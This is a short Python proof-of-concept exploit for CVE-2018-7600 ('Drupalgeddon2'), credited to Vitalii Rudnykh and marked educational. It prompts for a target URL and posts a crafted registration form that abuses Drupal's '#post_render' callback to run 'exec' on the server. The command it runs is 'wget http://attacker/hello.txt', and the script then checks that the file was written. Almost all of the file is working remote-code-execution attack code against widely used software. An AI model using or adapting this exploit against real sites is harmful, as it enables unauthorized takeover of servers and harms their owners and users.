#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = raw_input('Enter target url (example: https://domain.ltd/): ')

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget http://attacker/hello.txt'}

r = requests.post(url, data=payload)
if r.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')